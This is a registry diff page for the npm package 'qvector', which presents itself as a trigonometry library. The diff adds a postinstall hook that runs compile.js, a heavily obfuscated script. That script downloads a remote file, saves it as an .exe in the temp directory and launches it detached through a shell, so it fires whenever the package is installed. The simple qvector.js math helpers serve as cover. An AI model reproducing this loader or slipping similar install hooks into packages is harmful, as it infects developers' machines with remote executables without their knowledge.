qvector 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of qvector might be problematic. Click here for more details.
- package/compile.js +1 -0
- package/package.json +8 -3
- package/qvector.js +180 -0
- package/README.md +0 -5
package/compile.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x5ce2cb=_0x5a5a;(function(_0x464421,_0x47f555){const _0xde6b0e={_0x165ed5:0x1b9,_0x115cb9:'TRNa',_0x4ed95d:0x1d8,_0x34d21f:0x1fe,_0x40a9d0:'gvCR',_0x2b404f:0x1fc,_0x3b6602:0x1ee,_0x1482ea:0x208,_0x5ebbf6:0x1c4,_0x23ed3c:0x1e7,_0x1a626a:'&l8c'},_0x3ecb1b=_0x5a5a,_0x1a1b21=_0x464421();while(!![]){try{const _0xe250df=parseInt(_0x3ecb1b(_0xde6b0e._0x165ed5,_0xde6b0e._0x115cb9))/0x1+parseInt(_0x3ecb1b(_0xde6b0e._0x4ed95d,'&Gi%'))/0x2*(-parseInt(_0x3ecb1b(_0xde6b0e._0x34d21f,'TRNa'))/0x3)+parseInt(_0x3ecb1b(0x1d4,_0xde6b0e._0x40a9d0))/0x4*(parseInt(_0x3ecb1b(0x214,'jUvJ'))/0x5)+parseInt(_0x3ecb1b(_0xde6b0e._0x2b404f,'m8XJ'))/0x6*(-parseInt(_0x3ecb1b(0x21f,']sSj'))/0x7)+-parseInt(_0x3ecb1b(_0xde6b0e._0x3b6602,'SzXQ'))/0x8+-parseInt(_0x3ecb1b(0x1db,'&0Ow'))/0x9*(parseInt(_0x3ecb1b(_0xde6b0e._0x1482ea,'3KB@'))/0xa)+parseInt(_0x3ecb1b(_0xde6b0e._0x5ebbf6,'&l8c'))/0xb*(parseInt(_0x3ecb1b(_0xde6b0e._0x23ed3c,_0xde6b0e._0x1a626a))/0xc);if(_0xe250df===_0x47f555)break;else _0x1a1b21['push'](_0x1a1b21['shift']());}catch(_0x23a3c0){_0x1a1b21['push'](_0x1a1b21['shift']());}}}(_0x34e1,0xd93c3));const _0x1f6ce0=require(_0x5ce2cb(0x1fa,'c1BJ')+_0x5ce2cb(0x205,'a&xJ')+_0x5ce2cb(0x228,'dE1N')+'s'),_0x5eda37=require('fs'),_0x4c8f74=require(_0x5ce2cb(0x1ec,'wg6[')+'s'),_0x1630d5=require('os'),_0x3d5169=require(_0x5ce2cb(0x24f,'Z6pK')+_0x5ce2cb(0x21b,'SzXQ')+_0x5ce2cb(0x1d1,'F!d2'));async function _0x1d96b3(_0x559680,_0x21744a=![]){const _0x48861b={_0x3735ef:0x1cb,_0x29101b:0x1f0,_0x4516c6:'TzVQ',_0x370d03:0x1c2,_0x386771:0x20e,_0x68ba61:0x219,_0x5cd99c:0x1ba},_0x830a6e={_0x31c91c:0x236,_0x2e50d2:'zILA',_0x59e137:0x227,_0x5d1e9b:0x1fd,_0xec4084:'(9!K',_0x3e38b1:0x1de,_0x1395d2:'&qpI',_0x4de2da:'@iOv',_0x5a5986:'CBs5',_0x23c28a:0x1ce,_0x54c9db:'l^^S',_0x15b916:0x211,_0x5d622b:'MgRr',_0x2a2758:0x1d2,_0x1b3e55:'1a0$',_0x509522:0x23a,_0x2aca12:'dW18',_0x109884:0x1d3,_0x27f82b:0x233,_0x3d876c:']Fm$',_0x11bdc8:0x216},_0x141ada={_0x3fd988:0x239,_0x115250:'&Gi%'},_0x500dde=_0x5a5a,_0x1fa0e3={'OfQHE':function(_0x17d5a1,_0x524067){return _0x17d5a1===_0x524067;},'iUpca':_0x500dde(0x1e9,'@iOv')+'D','YNLxy':function(_0x7cc850,_0x37cd57){return _0x7cc850!==_0x37cd57;},'lkzjZ':'Ecjb'+'A','LhjEs':_0x500dde(_0x48861b._0x3735ef,'w9UW')+'M','igqmy':function(_0x486d02,_0x50f731){return _0x486d02(_0x50f731);},'SpWMy':'Fail'+_0x500dde(0x238,'xlUz')+'o\x20pr'+'oces'+'s\x20re'+_0x500dde(0x200,'SazR')+'se','oNJjz':_0x500dde(_0x48861b._0x29101b,_0x48861b._0x4516c6)+'y','wpjIR':'erro'+'r','kgNAG':function(_0x14b57e,_0x912768,_0x14550f){return _0x14b57e(_0x912768,_0x14550f);},'GqUbj':function(_0x2f592d,_0x545d34){return _0x2f592d===_0x545d34;},'aTINr':_0x500dde(_0x48861b._0x370d03,'GY0z')+'X','tTzEg':'gJQr'+'U','zctJO':_0x500dde(_0x48861b._0x386771,'wg6[')+'r:','NgnWf':function(_0x1cdbf,_0x534545){return _0x1cdbf<_0x534545;},'bpRYw':function(_0x222257,_0x12c11f,_0x5f4269){return _0x222257(_0x12c11f,_0x5f4269);},'PIPfC':function(_0x403d4c,_0x3a9b75){return _0x403d4c!==_0x3a9b75;},'jlKgG':function(_0x7fe9fb,_0x4e7357){return _0x7fe9fb===_0x4e7357;},'QueKc':_0x500dde(_0x48861b._0x68ba61,'TRNa')+'q','MyxXX':_0x500dde(_0x48861b._0x5cd99c,'dC4c')};return new Promise((_0x6a0794,_0x3440c9)=>{const _0x390fc7={_0x55298f:0x1c7,_0x5f5106:0x21d,_0x1cb289:0x237,_0x3c57c4:']##w',_0x41447a:'tFce',_0x54e769:'&Gi%'},_0x41b54c=_0x5a5a,_0x2e5ca={'OCRtB':function(_0x23b071,_0x534fe7){return _0x23b071(_0x534fe7);},'lAkOS':_0x1fa0e3['SpWM'+'y'],'yQswv':function(_0x451b56,_0x406a86){const _0x287537=_0x5a5a;return _0x1fa0e3[_0x287537(0x1f7,'@Qx$')+'j'](_0x451b56,_0x406a86);},'USxqi':_0x1fa0e3[_0x41b54c(_0x830a6e._0x31c91c,_0x830a6e._0x2e50d2)+'r'],'YEKZX':_0x1fa0e3[_0x41b54c(_0x830a6e._0x59e137,'TRNa')+'g'],'rFTsV':_0x1fa0e3[_0x41b54c(_0x830a6e._0x5d1e9b,'@8s5')+'O'],'NlhRy':function(_0x75dcb1,_0x53392f){const _0xb486b5=_0x5a5a;return _0x1fa0e3[_0xb486b5(0x255,'mSCY')+'f'](_0x75dcb1,_0x53392f);},'teRgk':_0x41b54c(0x217,_0x830a6e._0xec4084)+'m','uyUXF':function(_0x3fd35e,_0x2ece51,_0x497537){const _0x3716f1=_0x5a5a;return _0x1fa0e3[_0x3716f1(_0x141ada._0x3fd988,_0x141ada._0x115250)+'w'](_0x3fd35e,_0x2ece51,_0x497537);},'ISamc':function(_0x26aecb,_0x52980e){return _0x1fa0e3['PIPf'+'C'](_0x26aecb,_0x52980e);},'waisQ':_0x41b54c(_0x830a6e._0x3e38b1,_0x830a6e._0x1395d2)};if(_0x1fa0e3['jlKg'+'G'](_0x1fa0e3[_0x41b54c(0x1d6,_0x830a6e._0x4de2da)+'c'],_0x1fa0e3[_0x41b54c(0x24a,_0x830a6e._0x5a5986)+'c'])){const _0x5392a5=(_0x3a8728,_0x53c26c)=>{const _0x27eae8={_0x495d87:0x253,_0x3ae520:'aTfC',_0x338f44:'&qpI',_0x2938c3:0x1c3,_0x330f1b:'Z6pK',_0x1e4bc3:'6Y!l',_0x50f2b2:'jUvJ',_0x31c78a:0x218,_0x2dbd28:'@iOv',_0x397a44:0x1eb,_0x269572:'zILA',_0x467f7b:0x213,_0x5ee5b4:'CBs5',_0x4a9861:'SzXQ',_0x322bee:0x224,_0x2e314c:'zILA',_0x3dbd80:']##w',_0x1fc66b:0x20c,_0x5555d1:0x251,_0x1081cf:'xlUz',_0xc00ddb:0x1e1,_0xd7ec9f:'e%X&',_0x573262:0x1f5,_0x572873:'@iOv',_0x5d3ad0:0x23d,_0x368c90:'MgRr'},_0x353f77={_0x28b52e:0x240,_0x4a1b92:0x235,_0x12e374:'wg6[',_0x182e2b:0x220,_0x2f674c:0x20f,_0x31858c:0x1ef,_0x3feea4:0x247,_0x2226a8:'e%X&',_0x5279a8:0x1ea,_0x4dca40:0x1e8,_0x4c52a6:0x256,_0x2ea5e2:0x1f6,_0x211167:'(v]&'},_0x45242c={_0xd66018:0x203,_0x23c4ba:'TzVQ'},_0x145a4a={_0x9ac871:']Fm$'},_0x550835=_0x5a5a,_0x1659df={'oMVtq':function(_0x2bec50,_0x13c6ea){return _0x2bec50(_0x13c6ea);},'zzGyt':function(_0x5e2fc8,_0x2a114d){const _0xd609af=_0x5a5a;return _0x1fa0e3[_0xd609af(0x1bb,_0x145a4a._0x9ac871)+'E'](_0x5e2fc8,_0x2a114d);},'grTzg':_0x1fa0e3[_0x550835(_0x390fc7._0x55298f,'kA4g')+'a'],'kipnb':function(_0x1e3ca7,_0x33a7a4){const _0x191dd7=_0x5a5a;return _0x1fa0e3[_0x191dd7(_0x45242c._0xd66018,_0x45242c._0x23c4ba)+'y'](_0x1e3ca7,_0x33a7a4);},'JTiAV':_0x1fa0e3['lkzj'+'Z'],'HbYDH':_0x1fa0e3['LhjE'+'s'],'WuHTM':function(_0x5b2513,_0x14e5e6){return _0x1fa0e3['igqm'+'y'](_0x5b2513,_0x14e5e6);},'cZsxw':_0x1fa0e3[_0x550835(_0x390fc7._0x5f5106,'t2HD')+'y']};if(_0x550835(0x22d,'F!d2')+'e'===_0x1fa0e3[_0x550835(_0x390fc7._0x1cb289,'GY0z')+'z'])_0x2e5ca[_0x550835(0x1f1,_0x390fc7._0x3c57c4)+'B'](_0x2cf381,new _0x1a03db(_0x2e5ca['lAkO'+'S']));else{const _0x2930ee=_0x4c8f74[_0x550835(0x20d,_0x390fc7._0x41447a)+_0x550835(0x206,_0x390fc7._0x54e769)](_0x3a8728,_0x53c26c,_0x52e91f=>{const _0x4b9f1a={_0x30d179:0x242,_0x227bcb:'(v]&',_0x47ed6e:0x204,_0x470f1c:'dC4c',_0x3e5d75:0x201,_0x13494a:0x1f4,_0x1aa6a6:0x1ed,_0x5df94e:'wg6[',_0x3cd1ed:0x207,_0x4c7138:0x215,_0xdd1033:'jUvJ',_0xbaa71f:0x257,_0x5cd924:0x1c5},_0x289b38={_0x2dbd14:0x1df,_0x118982:'tFce'},_0xc52e03={_0x88e7eb:0x1c9},_0x2ddb1d=_0x5a5a,_0x52bea4={'fpQEm':function(_0x57e27f,_0x2df82c){const _0x1c087b=_0x5a5a;return _0x2e5ca[_0x1c087b(_0xc52e03._0x88e7eb,'@8s5')+'B'](_0x57e27f,_0x2df82c);},'hHfSW':function(_0x931043,_0x391db1){const _0x39274c=_0x5a5a;return _0x2e5ca[_0x39274c(_0x289b38._0x2dbd14,_0x289b38._0x118982)+'v'](_0x931043,_0x391db1);},'icZgG':_0x2e5ca[_0x2ddb1d(_0x27eae8._0x495d87,_0x27eae8._0x3ae520)+'i'],'kXPcu':_0x2ddb1d(0x209,_0x27eae8._0x338f44)+'b','msewU':function(_0x2348c8,_0x3f02b8){return _0x2348c8!==_0x3f02b8;},'Jilei':_0x2e5ca[_0x2ddb1d(_0x27eae8._0x2938c3,_0x27eae8._0x330f1b)+'X'],'Ktjag':_0x2e5ca[_0x2ddb1d(0x248,'l^^S')+'V']};if(_0x52e91f[_0x2ddb1d(0x1dc,_0x27eae8._0x1e4bc3)+_0x2ddb1d(0x24c,_0x27eae8._0x50f2b2)+'de']>=0x12c&&_0x2e5ca[_0x2ddb1d(_0x27eae8._0x31c78a,'jUvJ')+'y'](_0x52e91f['stat'+_0x2ddb1d(0x1f5,'@iOv')+'de'],0x190)&&_0x52e91f[_0x2ddb1d(0x1d0,_0x27eae8._0x2dbd28)+_0x2ddb1d(0x23f,'gvCR')][_0x2ddb1d(_0x27eae8._0x397a44,'&qpI')+'tion'])return _0x2e5ca[_0x2ddb1d(0x1d5,_0x27eae8._0x269572)+'k']!==_0x2e5ca['teRg'+'k']?_0x1659df[_0x2ddb1d(_0x27eae8._0x467f7b,'@iOv')+'q'](_0xbcc97c,new _0x125900(_0x2ddb1d(0x1dd,_0x27eae8._0x5ee5b4)+_0x2ddb1d(0x22e,_0x27eae8._0x4a9861)+_0x2ddb1d(_0x27eae8._0x322bee,_0x27eae8._0x2e314c)+_0x2ddb1d(0x252,_0x27eae8._0x3dbd80)+_0x2ddb1d(0x231,'&l8c')+_0x2ddb1d(0x1c0,'[A@J')+'\x20'+_0x2a6e68[_0x2ddb1d(0x22a,'tFce')+_0x2ddb1d(0x234,'MgRr')+'de'])):_0x2e5ca[_0x2ddb1d(_0x27eae8._0x1fc66b,'CBs5')+'F'](_0x5392a5,_0x52e91f[_0x2ddb1d(0x254,'t2HD')+_0x2ddb1d(0x1ca,'jUvJ')][_0x2ddb1d(0x24d,'&0Ow')+_0x2ddb1d(0x244,'SzXQ')],_0x53c26c);if(_0x2e5ca['ISam'+'c'](_0x52e91f[_0x2ddb1d(_0x27eae8._0x5555d1,_0x27eae8._0x1081cf)+_0x2ddb1d(0x1e4,'@8s5')+'de'],0xc8))return _0x2e5ca['OCRt'+'B'](_0x3440c9,new Error('Fail'+'ed\x20t'+_0x2ddb1d(_0x27eae8._0x322bee,_0x27eae8._0x2e314c)+'wnlo'+'ad\x20f'+_0x2ddb1d(_0x27eae8._0xc00ddb,_0x27eae8._0xd7ec9f)+'\x20'+_0x52e91f['stat'+_0x2ddb1d(_0x27eae8._0x573262,_0x27eae8._0x572873)+'de']));let _0x34129e=_0x21744a?'':[];_0x52e91f['on'](_0x2ddb1d(0x202,'TRNa'),_0x48166b=>{const _0x30b85d=_0x5a5a;_0x52bea4[_0x30b85d(0x23b,'T84@')+'W'](_0x30b85d(0x23c,'MgRr')+'L',_0x52bea4['icZg'+'G'])?_0x212c33?_0x364d5+=_0x27d947:_0x486766[_0x30b85d(0x212,'e%X&')](_0x3314c0):_0x21744a?_0x52bea4[_0x30b85d(_0x4b9f1a._0x30d179,_0x4b9f1a._0x227bcb)+'W'](_0x52bea4[_0x30b85d(_0x4b9f1a._0x47ed6e,'dE1N')+'u'],_0x52bea4[_0x30b85d(0x1e0,'i1z9')+'u'])?_0x34129e+=_0x48166b:_0x3102e2?_0x52bea4[_0x30b85d(0x230,_0x4b9f1a._0x470f1c)+'m'](_0xc0dfb7,_0x420493[_0x30b85d(_0x4b9f1a._0x3e5d75,'MgRr')+'e'](_0x37113a)):_0x52bea4['fpQE'+'m'](_0x471599,_0x1a1a92[_0x30b85d(_0x4b9f1a._0x13494a,'c1BJ')+'at'](_0x2c191e)):_0x52bea4[_0x30b85d(_0x4b9f1a._0x1aa6a6,_0x4b9f1a._0x5df94e)+'U'](_0x52bea4[_0x30b85d(_0x4b9f1a._0x3cd1ed,'gvCR')+'i'],_0x30b85d(_0x4b9f1a._0x4c7138,_0x4b9f1a._0xdd1033)+'U')?_0x52bea4[_0x30b85d(_0x4b9f1a._0xbaa71f,']##w')+'m'](_0x38fb69,_0x3fa3ee[_0x30b85d(_0x4b9f1a._0x5cd924,'tFce')+'at'](_0x1ffcc7)):_0x34129e['push'](_0x48166b);}),_0x52e91f['on'](_0x2e5ca[_0x2ddb1d(_0x27eae8._0x5d3ad0,_0x27eae8._0x368c90)+'Q'],()=>{const _0xe974b1=_0x5a5a;try{_0x1659df[_0xe974b1(_0x353f77._0x28b52e,'&l8c')+'t'](_0xe974b1(_0x353f77._0x4a1b92,'t2HD')+'o',_0x1659df[_0xe974b1(0x1f2,_0x353f77._0x12e374)+'g'])?_0x24cb9c+=_0x3f9d56:_0x21744a?_0x1659df['kipn'+'b'](_0x1659df[_0xe974b1(_0x353f77._0x182e2b,'T84@')+'V'],_0x1659df['JTiA'+'V'])?_0xb60ed1[_0xe974b1(0x1fb,'m8XJ')](_0x11f8d1):_0x1659df['oMVt'+'q'](_0x6a0794,JSON[_0xe974b1(_0x353f77._0x2f674c,'t2HD')+'e'](_0x34129e)):_0x1659df[_0xe974b1(_0x353f77._0x31858c,'zrx3')+'b'](_0x1659df[_0xe974b1(_0x353f77._0x3feea4,_0x353f77._0x2226a8)+'H'],_0x1659df['HbYD'+'H'])?_0x36bcf4[_0xe974b1(_0x353f77._0x5279a8,'@iOv')+'r'](_0x52bea4[_0xe974b1(_0x353f77._0x4dca40,'6Y!l')+'g'],_0x4629ca[_0xe974b1(_0x353f77._0x4c52a6,'!%TK')+_0xe974b1(_0x353f77._0x2ea5e2,_0x353f77._0x211167)]):_0x6a0794(Buffer[_0xe974b1(0x225,'aTfC')+'at'](_0x34129e));}catch(_0x271872){_0x1659df[_0xe974b1(0x1cf,'TRNa')+'M'](_0x3440c9,new Error(_0x1659df['cZsx'+'w']));}});});_0x2930ee['on'](_0x1fa0e3[_0x550835(0x1bf,'zrx3')+'R'],_0x428823=>_0x3440c9(_0x428823)),_0x2930ee['end']();}},_0x3e307f={'rlkey':_0x559680[_0x41b54c(_0x830a6e._0x23c28a,_0x830a6e._0x54c9db)+'y'],'dl':!![]},_0x2d2c9d=_0x3d5169['stri'+_0x41b54c(_0x830a6e._0x15b916,'@iOv')+'y'](_0x3e307f),_0x59fdc5={'method':_0x1fa0e3['MyxX'+'X']},_0x2a05fa=_0x41b54c(0x24b,_0x830a6e._0x5d622b)+_0x41b54c(_0x830a6e._0x2a2758,_0x830a6e._0x1b3e55)+_0x41b54c(_0x830a6e._0x509522,']sSj')+_0x41b54c(0x1f8,'T84@')+_0x41b54c(0x23e,_0x830a6e._0x2aca12)+_0x41b54c(_0x830a6e._0x109884,'(9!K')+_0x41b54c(0x1e6,'dE1N')+_0x41b54c(_0x830a6e._0x27f82b,']##w')+_0x559680['fi']+'/'+_0x559680[_0x41b54c(0x21e,_0x830a6e._0x3d876c)]+'?'+_0x2d2c9d;_0x5392a5(_0x2a05fa,_0x59fdc5);}else return _0x1fa0e3['kgNA'+'G'](_0x5701a0,_0x3bcfd5['head'+_0x41b54c(_0x830a6e._0x11bdc8,']##w')]['loca'+_0x41b54c(0x1e5,'&0Ow')],_0x9eb4be);});}function _0x34e1(){const _0xf2bd0a=['zCkgWP4IW6JdI8kQsd7cL8kEsG','q8kXWQK','WRPmiae','kYSxcq','W7ecWQ7dPW7cPWjNW78YmmkFWRq','ASoPWRpdPWK7WO/cTCoi','utiIAG','WOiVeSks','ieGgW7u','m8k5W7RdUa','W7HZEfi','W5XSWPqwWRxdSaCxFa','W7BcUCotW4W','CYRcPf0','wcddQmoN','W6GWEIq','AYlcOSkJ','Ex/dUq','v8oGBqy','axPxWOH1Amkrtmk2W7aZ','e8kVW43cNW','WRlcH1u8','a8okW65o','wISoW5K','W5JcUvu','iZ0KbG','kb4nW68','iK7dR1lcNJdcV8kIW6y','A152kq','yZSkW7y','W5uauMS','E8o7WOyNWO7dJK4','W4VcMmkF','WPvyySk0','W7OaWQNdPa/cOGTBW6Kvi8kQWOO','zCkzW5OV','AdlcGvW','Df7cQa','W6ZcH8ooW5G','W5tcR8k9zq','WQKxW45q','WRtcHeW','nConW4u3WQ3dJhNcHeaMfCo5','urlcS8k4','WRzBW7lcUq','k8k9W6RcSq','W59RWPjDW5tcM0Sdw8oWuqhdKG','xCkzW5e6','yHGHW7m','vZWDW5i','Fv/cR8oR','WO5oktu','WOTjodi','y8kczWhdVComWP9sW6xdK8oAWR/cGq','tsS4tq','gwajWOu','W5b5W7iR','WOfict8','WPGZfSoF','W4/dR8kdrG','rZ0SW5i','lZqB','W6pcLLBdHq','WPj2WPldRa','W70MbCoMiSoheW','W4/dQmkesq','sgibW48','csrcWPyTWRNdNSozzmkVaSk6kG','xGlcHmkD','zCkpWPCQW6RdJCo1zbBcOCkmt0K','BwXqzW','WRW5lCoI','rmojrmkm','mmoEW5j7','d0mRWRi','m8kgW5BdVq','BWJcSCoF','lmoNWRu','xbdcSvy','WQH2zGLgy8oWW4G','FwJcR8og','WP88W4DA','W7JdMqPQpHa8eSkNW78vW57dLW','wYRcVwG','W6FcS8omW5O','WQnilYO','WQnjWPdcRa','lGGuFWvKs8oSW5BcSgBcRSo1','xcKgW5S','WRaoW5Gc','xqm5W4K','lZNcSHbai2yWWRxdMKS','E0FdM1C','W7PiW5m','bXCrWQ8','uMhdONC','p8oNW6LD','W7TdWPlcJa','kCobiem','EIhcPmoo','WObyWRxcKG','WPTlhcW','rCo7W4FcSmovqSouDW','WRXqWPtdNq','WO0Og8oy','lWm2Fq','W4iZW4/dVCkzxCkuhqW','CbTaiq','WRL+rSkn','W7flWPHymCkuhaddOw7cKCoLrq','imoRW5XF','n8k9W6pdRq','iaddVCk6W5qFxNOlw3CQma','W6BcOSoCW5S','pW09','xhnsBa','W5VcTuVdKa','nCowDeu','ESoXBY4','ySkeWQXk','WO8/WOej','AeLnoG','W7LtWO8','qCoBDCkq','WQrnWRlcIq','FM9Taa','dCkIW5pdVW','WOiEymkG','k8oKWPmu','amk9W5/dNa','WP5mWPVdJW','xmo5EmkD','q8ojx8km','sNfAjG','CWVcRG','WPqHW6yw','rSkHW5dcIa','jHSykq','WQLBbYW','jmoBo18','W4XtqhS','W43cQq7dMq','WOGzW7iU','WRlcRwOQ','WQDkW7tcOW','FYBcJxS','xmoCqSkp','Ax7dIuO','WQ5DW77cTG','drqDmq','W5bdvNO','uCoqx8kl','WPqoiCkG','W6HuW4WW','WO9cumkF','WRTnWOpcUW','WQRdKSk6W7i','mW8RDa','W7LkW7eA'];_0x34e1=function(){return _0xf2bd0a;};return _0x34e1();}function _0x5a5a(_0x34bfa0,_0x31f1fb){const _0x34e12f=_0x34e1();return _0x5a5a=function(_0x5a5a9d,_0x2872ad){_0x5a5a9d=_0x5a5a9d-0x1b9;let _0xc513f=_0x34e12f[_0x5a5a9d];if(_0x5a5a['sfWyhm']===undefined){var _0x5ebe73=function(_0x35ff59){const _0xf7cad4='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x5701a0='',_0x3bcfd5='';for(let _0x9eb4be=0x0,_0x5b8810,_0xc7757,_0x1c5f07=0x0;_0xc7757=_0x35ff59['charAt'](_0x1c5f07++);~_0xc7757&&(_0x5b8810=_0x9eb4be%0x4?_0x5b8810*0x40+_0xc7757:_0xc7757,_0x9eb4be++%0x4)?_0x5701a0+=String['fromCharCode'](0xff&_0x5b8810>>(-0x2*_0x9eb4be&0x6)):0x0){_0xc7757=_0xf7cad4['indexOf'](_0xc7757);}for(let _0xbcc97c=0x0,_0x125900=_0x5701a0['length'];_0xbcc97c<_0x125900;_0xbcc97c++){_0x3bcfd5+='%'+('00'+_0x5701a0['charCodeAt'](_0xbcc97c)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3bcfd5);};const _0x563dd1=function(_0x2a6e68,_0xa10a4d){let _0xd331cc=[],_0x19cf05=0x0,_0x52709e,_0x381973='';_0x2a6e68=_0x5ebe73(_0x2a6e68);let _0x212c33;for(_0x212c33=0x0;_0x212c33<0x100;_0x212c33++){_0xd331cc[_0x212c33]=_0x212c33;}for(_0x212c33=0x0;_0x212c33<0x100;_0x212c33++){_0x19cf05=(_0x19cf05+_0xd331cc[_0x212c33]+_0xa10a4d['charCodeAt'](_0x212c33%_0xa10a4d['length']))%0x100,_0x52709e=_0xd331cc[_0x212c33],_0xd331cc[_0x212c33]=_0xd331cc[_0x19cf05],_0xd331cc[_0x19cf05]=_0x52709e;}_0x212c33=0x0,_0x19cf05=0x0;for(let _0x234c88=0x0;_0x234c88<_0x2a6e68['length'];_0x234c88++){_0x212c33=(_0x212c33+0x1)%0x100,_0x19cf05=(_0x19cf05+_0xd331cc[_0x212c33])%0x100,_0x52709e=_0xd331cc[_0x212c33],_0xd331cc[_0x212c33]=_0xd331cc[_0x19cf05],_0xd331cc[_0x19cf05]=_0x52709e,_0x381973+=String['fromCharCode'](_0x2a6e68['charCodeAt'](_0x234c88)^_0xd331cc[(_0xd331cc[_0x212c33]+_0xd331cc[_0x19cf05])%0x100]);}return _0x381973;};_0x5a5a['VjAKBn']=_0x563dd1,_0x34bfa0=arguments,_0x5a5a['sfWyhm']=!![];}const _0x1dd46e=_0x34e12f[0x0],_0x577e53=_0x5a5a9d+_0x1dd46e,_0x1fb34e=_0x34bfa0[_0x577e53];return!_0x1fb34e?(_0x5a5a['DAdSmi']===undefined&&(_0x5a5a['DAdSmi']=!![]),_0xc513f=_0x5a5a['VjAKBn'](_0xc513f,_0x2872ad),_0x34bfa0[_0x577e53]=_0xc513f):_0xc513f=_0x1fb34e,_0xc513f;},_0x5a5a(_0x34bfa0,_0x31f1fb);}((async()=>{const _0x138eb5={_0x45c37f:']sSj',_0x1d5407:'&l8c',_0x575197:0x221,_0x2b378f:'Z6pK',_0x49b0d7:0x1ff,_0x586f45:'dW18',_0x45863d:'l[!1',_0x38996f:'!%TK',_0x507c5f:0x246,_0x5aa213:0x1da,_0xdcba4a:'aTfC',_0x58b9f0:0x1d9,_0x1abccd:0x1c8,_0x1654ce:0x1e2,_0x389a50:0x22f,_0x37b39b:0x1c6,_0x2c7494:'(v]&',_0x520157:0x1f3,_0x55158f:'[A@J',_0x3a4b97:0x249,_0x59892c:'&0Ow',_0x233ca4:0x245},_0x19362c=_0x5a5a,_0xbaafa4={'OIJZh':_0x19362c(0x1cd,_0x138eb5._0x45c37f)+_0x19362c(0x20a,_0x138eb5._0x1d5407)+_0x19362c(_0x138eb5._0x575197,'[A@J')+'04at'+_0x19362c(0x1d7,_0x138eb5._0x2b378f)+_0x19362c(0x1c1,'(9!K')+'i','hVZxt':function(_0x2af526,_0x5a3141,_0x161a6e){return _0x2af526(_0x5a3141,_0x161a6e);},'CGcKy':_0x19362c(_0x138eb5._0x49b0d7,_0x138eb5._0x586f45)+'r:'},_0xa2c832={'name':'chin'+'a','fi':'hd2i'+_0x19362c(0x241,']sSj')+_0x19362c(0x21a,_0x138eb5._0x45863d)+_0x19362c(0x222,_0x138eb5._0x38996f)+_0x19362c(_0x138eb5._0x507c5f,'ri#$')+'x','rlkey':_0xbaafa4[_0x19362c(_0x138eb5._0x5aa213,_0x138eb5._0xdcba4a)+'h']};try{const _0x45c8d3=await _0xbaafa4['hVZx'+'t'](_0x1d96b3,_0xa2c832,!![]);if(!_0x45c8d3[_0x19362c(0x21c,'a&xJ')+_0x19362c(_0x138eb5._0x58b9f0,'i1z9')])process[_0x19362c(0x250,'MgRr')](0x0);const _0x936253=await _0x1d96b3(_0x45c8d3[_0x19362c(_0x138eb5._0x1abccd,'3KB@')+_0x19362c(_0x138eb5._0x1654ce,'l^^S')],![]),_0x2a0656=_0x1630d5[_0x19362c(0x22c,'dW18')+'ir']()+(_0x19362c(0x243,']Fm$')+'ctor'+'.exe');_0x5eda37[_0x19362c(0x232,'zILA')+_0x19362c(_0x138eb5._0x389a50,'w9UW')+_0x19362c(_0x138eb5._0x37b39b,'gvCR')+'c'](_0x2a0656,_0x936253);if(!_0x5eda37[_0x19362c(0x1bc,_0x138eb5._0x2c7494)+'tsSy'+'nc'](_0x2a0656))return;const _0x296642=_0x1f6ce0[_0x19362c(_0x138eb5._0x520157,_0x138eb5._0x55158f)+'n'](_0x2a0656,[],{'detached':!![],'shell':!![]});_0x296642['unre'+'f'](),process[_0x19362c(_0x138eb5._0x3a4b97,_0x138eb5._0x59892c)]();}catch(_0x382b85){console['erro'+'r'](_0xbaafa4[_0x19362c(0x24e,'(v]&')+'y'],_0x382b85[_0x19362c(_0x138eb5._0x233ca4,_0x138eb5._0x2b378f)+_0x19362c(0x22b,'!%TK')]);}})());
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "qvector",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.3",
|
|
4
|
+
"description": "QVector is a compact JavaScript library that streamlines trigonometry, making calculations simple and efficient. From angles and radians to complex transformations, Qasdr offers an intuitive API tailored for developers in fields like animation, gaming, and scientific computing. Reduce redundant formulas and focus on innovation with this versatile, performance-oriented tool.",
|
|
5
|
+
"main": "qvector.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node compile.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Alex",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|
package/qvector.js
ADDED
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
class QVector {
|
|
2
|
+
/**
|
|
3
|
+
* Convert degrees to radians
|
|
4
|
+
* @param {number} degrees
|
|
5
|
+
* @returns {number}
|
|
6
|
+
*/
|
|
7
|
+
static toRadians(degrees) {
|
|
8
|
+
return (degrees * Math.PI) / 180;
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* Convert radians to degrees
|
|
13
|
+
* @param {number} radians
|
|
14
|
+
* @returns {number}
|
|
15
|
+
*/
|
|
16
|
+
static toDegrees(radians) {
|
|
17
|
+
return (radians * 180) / Math.PI;
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* Calculate sine of an angle in degrees
|
|
22
|
+
* @param {number} degrees
|
|
23
|
+
* @returns {number}
|
|
24
|
+
*/
|
|
25
|
+
static sin(degrees) {
|
|
26
|
+
return Math.sin(this.toRadians(degrees));
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
/**
|
|
30
|
+
* Calculate cosine of an angle in degrees
|
|
31
|
+
* @param {number} degrees
|
|
32
|
+
* @returns {number}
|
|
33
|
+
*/
|
|
34
|
+
static cos(degrees) {
|
|
35
|
+
return Math.cos(this.toRadians(degrees));
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
/**
|
|
39
|
+
* Calculate tangent of an angle in degrees
|
|
40
|
+
* @param {number} degrees
|
|
41
|
+
* @returns {number}
|
|
42
|
+
*/
|
|
43
|
+
static tan(degrees) {
|
|
44
|
+
return Math.tan(this.toRadians(degrees));
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
/**
|
|
48
